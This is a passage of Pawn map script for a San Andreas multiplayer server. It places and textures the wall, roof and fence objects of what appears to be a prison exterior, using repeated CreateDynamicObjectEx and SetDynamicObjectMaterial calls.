	prisonextobj = CreateDynamicObjectEx(970, -1100.995361, -669.509155, 42.086688, 0.000022, 0.000022, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1100.995361, -671.750122, 42.086688, 0.000022, 0.000022, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1107.371337, -669.509155, 42.086688, 0.000022, 0.000022, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1107.371337, -671.750122, 42.086688, 0.000022, 0.000022, 89.999824, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.183715, -670.624633, 44.998020, 0.000037, 90.000007, 89.999809, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.199951, -673.176391, 44.997623, -0.000007, 90.000022, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.199951, -668.072631, 44.997623, -0.000007, 90.000022, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1101.776245, -669.020629, 44.995624, 0.000022, 90.000007, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1101.776245, -672.228515, 44.999622, 0.000022, 90.000007, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1106.592407, -669.020629, 44.995624, 0.000029, 90.000007, 89.999839, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1106.592407, -672.228515, 44.999622, 0.000029, 90.000007, 89.999839, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(2949, -1102.547607, -671.372436, 31.028371, 0.000007, -0.000014, 179.999816, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.240356, -720.499816, 32.758052, -0.000007, 0.000029, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1107.760864, -718.980041, 32.758052, 0.000029, 0.000007, 179.999664, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.241088, -717.467712, 32.758052, 0.000022, -0.000029, -90.000518, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.720581, -718.987609, 32.758052, -0.000029, -0.000022, -0.000250, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.240356, -720.499816, 36.258113, -0.000007, 0.000037, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1107.760864, -718.980041, 36.258113, 0.000037, 0.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.241088, -717.467712, 36.258113, 0.000022, -0.000037, -90.000564, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.720581, -718.987609, 36.258113, -0.000037, -0.000022, -0.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.240356, -720.499816, 39.758094, -0.000007, 0.000045, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1107.760864, -718.980041, 39.758094, 0.000045, 0.000007, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.241088, -717.467712, 39.758094, 0.000022, -0.000045, -90.000610, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.720581, -718.987609, 39.758094, -0.000045, -0.000022, -0.000205, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.230346, -718.980041, 41.448089, 0.000045, 90.000007, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1103.678588, -718.996276, 41.447692, -0.000007, 90.000030, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1108.782348, -718.996276, 41.447692, -0.000007, 90.000030, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1107.834350, -716.572570, 41.445693, 0.000029, 90.000007, 179.999664, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.626464, -716.572570, 41.449691, 0.000029, 90.000007, 179.999664, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1107.834350, -721.388732, 41.445693, 0.000037, 90.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.626464, -721.388732, 41.449691, 0.000037, 90.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19383, -1106.239624, -717.462219, 43.278640, -0.000007, 0.000029, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1105.466918, -719.308166, 43.279682, 0.000014, 180.000000, -90.000396, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19399, -1107.758422, -718.979431, 43.278446, 0.000029, 0.000014, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.720581, -718.987609, 43.279075, -0.000045, -0.000022, -0.000205, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2949, -1104.772338, -719.203674, 41.518398, 0.000007, -0.000029, -90.000366, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1105.466918, -720.498840, 43.279682, 0.000014, 180.000000, -90.000396, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1106.187255, -719.789001, 43.279682, -0.000022, 180.000000, -0.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1107.048095, -720.498840, 43.279682, 0.000014, 180.000000, -90.000396, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(970, -1109.555664, -717.862121, 42.086688, -0.000007, 0.000029, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1109.555664, -720.103088, 42.086688, -0.000007, 0.000029, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1102.895019, -717.862121, 42.086688, -0.000007, 0.000037, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1102.895019, -720.103088, 42.086688, -0.000007, 0.000037, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1107.345825, -715.791687, 42.086688, 0.000037, 0.000022, 179.999603, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1105.104858, -715.791687, 42.086688, 0.000037, 0.000022, 179.999603, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1107.345825, -722.167663, 42.086688, 0.000037, 0.000022, 179.999603, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1105.104858, -722.167663, 42.086688, 0.000037, 0.000022, 179.999603, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1106.230346, -718.980041, 44.998020, 0.000052, 90.000007, 179.999588, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1103.678588, -718.996276, 44.997623, -0.000007, 90.000038, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1108.782348, -718.996276, 44.997623, -0.000007, 90.000038, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1107.834350, -716.572570, 44.995624, 0.000037, 90.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.626464, -716.572570, 44.999622, 0.000037, 90.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1107.834350, -721.388732, 44.995624, 0.000045, 90.000007, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.626464, -721.388732, 44.999622, 0.000045, 90.000007, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(2949, -1107.872558, -718.223999, 31.028371, 0.000007, -0.000029, -0.000365, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1121.940429, -592.958190, 32.758052, 0.000022, 0.000000, -0.000418, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.460205, -594.470520, 32.758052, 0.000014, -0.000022, 89.999443, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1124.980712, -592.950622, 32.758052, -0.000022, -0.000014, 179.999572, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.460937, -591.438415, 36.258113, 0.000000, 0.000029, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1121.940429, -592.958190, 36.258113, 0.000029, 0.000000, -0.000449, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.460205, -594.470520, 36.258113, 0.000014, -0.000029, 89.999397, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1124.980712, -592.950622, 36.258113, -0.000029, -0.000014, 179.999588, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.460937, -591.438415, 39.758094, 0.000000, 0.000037, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1121.940429, -592.958190, 39.758094, 0.000037, 0.000000, -0.000464, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.460205, -594.470520, 39.758094, 0.000014, -0.000037, 89.999351, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1124.980712, -592.950622, 39.758094, -0.000037, -0.000014, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.470947, -592.958190, 41.448089, 0.000037, 90.000000, -0.000464, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1126.022705, -592.941955, 41.447692, 0.000000, 90.000022, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1120.918945, -592.941955, 41.447692, 0.000000, 90.000022, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1121.866943, -595.365661, 41.445693, 0.000022, 90.000000, -0.000418, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1125.074829, -595.365661, 41.449691, 0.000022, 90.000000, -0.000418, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1121.866943, -590.549499, 41.445693, 0.000029, 90.000000, -0.000449, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1125.074829, -590.549499, 41.449691, 0.000029, 90.000000, -0.000449, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19383, -1123.461669, -594.476013, 43.278640, 0.000000, 0.000022, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1124.234375, -592.630065, 43.279682, 0.000007, 180.000000, 89.999565, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19399, -1121.942871, -592.958801, 43.278446, 0.000022, 0.000007, -0.000449, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1124.980712, -592.950622, 43.279075, -0.000037, -0.000014, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2949, -1124.928955, -592.734558, 41.518398, 0.000000, -0.000022, 89.999595, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1124.234375, -591.439392, 43.279682, 0.000007, 180.000000, 89.999565, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1123.514038, -592.149230, 43.279682, -0.000014, 180.000000, 179.999588, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1122.653198, -591.439392, 43.279682, 0.000007, 180.000000, 89.999565, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(970, -1120.145629, -594.076110, 42.086688, 0.000000, 0.000022, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1120.145629, -591.835144, 42.086688, 0.000000, 0.000022, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1126.806274, -594.076110, 42.086688, 0.000000, 0.000029, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1126.806274, -591.835144, 42.086688, 0.000000, 0.000029, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1122.355468, -596.146545, 42.086688, 0.000029, 0.000014, -0.000479, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1124.596435, -596.146545, 42.086688, 0.000029, 0.000014, -0.000479, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1122.355468, -589.770568, 42.086688, 0.000029, 0.000014, -0.000479, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1124.596435, -589.770568, 42.086688, 0.000029, 0.000014, -0.000479, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.470947, -592.958190, 44.998020, 0.000045, 90.000000, -0.000494, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1126.022705, -592.941955, 44.997623, 0.000000, 90.000030, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1120.918945, -592.941955, 44.997623, 0.000000, 90.000030, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1121.866943, -595.365661, 44.995624, 0.000029, 90.000000, -0.000449, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1125.074829, -595.365661, 44.999622, 0.000029, 90.000000, -0.000449, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1121.866943, -590.549499, 44.995624, 0.000037, 90.000000, -0.000464, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1125.074829, -590.549499, 44.999622, 0.000037, 90.000000, -0.000464, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(2949, -1124.218750, -594.574279, 31.028371, 0.000000, -0.000022, 89.999595, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1032.572509, -749.914428, 32.758052, -0.000029, 0.000022, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.052734, -748.393920, 32.758052, 0.000022, 0.000029, 89.999549, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1029.540405, -749.913696, 32.758052, 0.000045, -0.000022, 179.999328, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.060302, -751.434204, 32.758052, -0.000022, -0.000045, -90.000549, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1032.572509, -749.914428, 36.258113, -0.000029, 0.000029, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.052734, -748.393920, 36.258113, 0.000029, 0.000029, 89.999519, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1029.540405, -749.913696, 36.258113, 0.000045, -0.000029, 179.999282, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.060302, -751.434204, 36.258113, -0.000029, -0.000045, -90.000534, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1032.572509, -749.914428, 39.758094, -0.000029, 0.000037, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.052734, -748.393920, 39.758094, 0.000037, 0.000029, 89.999504, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1029.540405, -749.913696, 39.758094, 0.000045, -0.000037, 179.999237, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.060302, -751.434204, 39.758094, -0.000037, -0.000045, -90.000503, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1031.052734, -749.924438, 41.448089, 0.000037, 90.000030, 89.999504, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1031.068969, -752.476196, 41.447692, -0.000029, 90.000022, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1031.068969, -747.372436, 41.447692, -0.000029, 90.000022, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1028.645263, -748.320434, 41.445693, 0.000022, 90.000030, 89.999549, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1028.645263, -751.528320, 41.449691, 0.000022, 90.000030, 89.999549, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1033.461425, -748.320434, 41.445693, 0.000029, 90.000030, 89.999519, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1033.461425, -751.528320, 41.449691, 0.000029, 90.000030, 89.999519, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19383, -1029.534912, -749.915161, 43.278640, -0.000029, 0.000022, -0.000197, 400.00, 400.00);
